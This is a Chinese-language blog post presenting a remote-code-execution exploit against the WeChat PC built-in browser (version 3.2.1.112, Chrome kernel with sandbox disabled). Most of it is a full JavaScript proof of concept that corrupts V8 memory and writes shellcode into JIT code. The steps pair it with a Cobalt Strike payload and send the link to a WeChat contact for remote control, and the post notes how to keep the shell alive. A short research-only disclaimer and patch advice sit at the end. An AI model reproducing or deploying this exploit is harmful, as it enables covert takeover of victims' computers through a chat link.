环境:微信PC版本3.2.1.112
利用步骤:
1.首先使用CobaltStrike生成一个x86格式的shellcode。
2.搭建一个测试网站,将下方0day poc放入。
ENABLE_LOG = true;
IN_WORKER = true;
var shellcode = [shellcode];
function print(data) {
}
var not_optimised_out = 0;
var target_function = (function (value) {
if (value == 0xdecaf0) {
not_optimised_out += 1;
}
not_optimised_out += 1;
not_optimised_out |= 0xff;
not_optimised_out *= 12;
});
for (var i = 0; i < 0x10000; ++i) {
target_function(i);
}
var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;
function cb(flag) {
if (flag == true) {
return;
}
g_array = new Array(0);
g_array[0] = 0x1dbabe * 2;
return 'c01db33f';
}
function gc() {
for (var i = 0; i < 0x10000; ++i) {
new String();
}
}
function oobAccess() {
var this_ = this;
this.buffer = null;
this.buffer_view = null;
this.page_buffer = null;
this.page_view = null;
this.prevent_opt = [];
var kSlotOffset = 0x1f;
var kBackingStoreOffset = 0xf;
class LeakArrayBuffer extends ArrayBuffer {
constructor() {
super(0x1000);
this.slot = this;
}
}
this.page_buffer = new LeakArrayBuffer();
this.page_view = new DataView(this.page_buffer);
new RegExp({ toString: function () { return 'a' } });
cb(true);
class DerivedBase extends RegExp {
constructor() {
super(
{
toString: cb
}, 'g'
);
this_.buffer = new ArrayBuffer(0x80);
g_array[8] = this_.page_buffer;
}
}
var derived_n = eval(`(function derived_n(i) {
if (i == 0) {
return DerivedBase;
}
class DerivedN extends derived_n(i-1) {
constructor() {
super();
return;
${"this.a=0;".repeat(tDerivedNCount)}
}
}
return DerivedN;
})`);
gc();
new (derived_n(tDerivedNDepth))();
this.buffer_view = new DataView(this.buffer);
this.leakPtr = function (obj) {
this.page_buffer.slot = obj;
return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
}
this.setPtr = function (addr) {
this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
}
this.read32 = function (addr) {
this.setPtr(addr);
return this.page_view.getUint32(0, true, ...this.prevent_opt);
}
this.write32 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint32(0, value, true, ...this.prevent_opt);
}
this.write8 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint8(0, value, ...this.prevent_opt);
}
this.setBytes = function (addr, content) {
for (var i = 0; i < content.length; i++) {
this.write8(addr + i, content[i]);
}
}
return this;
}
function trigger() {
var oob = oobAccess();
var func_ptr = oob.leakPtr(target_function);
print('[*] target_function at 0x' + func_ptr.toString(16));
var kCodeInsOffset = 0x1b;
var code_addr = oob.read32(func_ptr + kCodeInsOffset);
print('[*] code_addr at 0x' + code_addr.toString(16));
oob.setBytes(code_addr, shellcode);
target_function(0);
}
try{
print("start running");
trigger();
}catch(e){
print(e);
}
End...
3.微信发送给任意好友,在pc端用内置浏览器打开url即可成功上线。
4.使用CobaltStrike工具即可实现远控等一系列操作,CobaltStrike简介及使用教程请看我的另一篇文章:http://blog.tianles.com/71.html
漏洞产生原因:
微信内置浏览器为QQ浏览器,QQ浏览器使用chrome内核且沙箱处于关闭状态。
注:微信关闭网页shell会掉问题,可进程迁移解决。
影响范围:
微信PC版:3.2.1.141版本及以下
使用chrome内核89.0.4389.114以下版本的浏览器(edge,360浏览器,google chrome,谷歌浏览器等)
预防措施:
将微信升级至3.2.1.141版本以上,不点击陌生链接。
截至发文日期:2021.4.17,最新版微信内核仍未更新,仍然可以使用其他手段来绕过,从而实现远控!
本文提供的poc仅供技术研究使用,请勿非法使用。
本文部分内容参考靓仔Jaky的公众号文章,在此特别感谢靓仔。
本文链接:http://blog.tianles.com/99.html
天乐原创文章,转载请注明出处!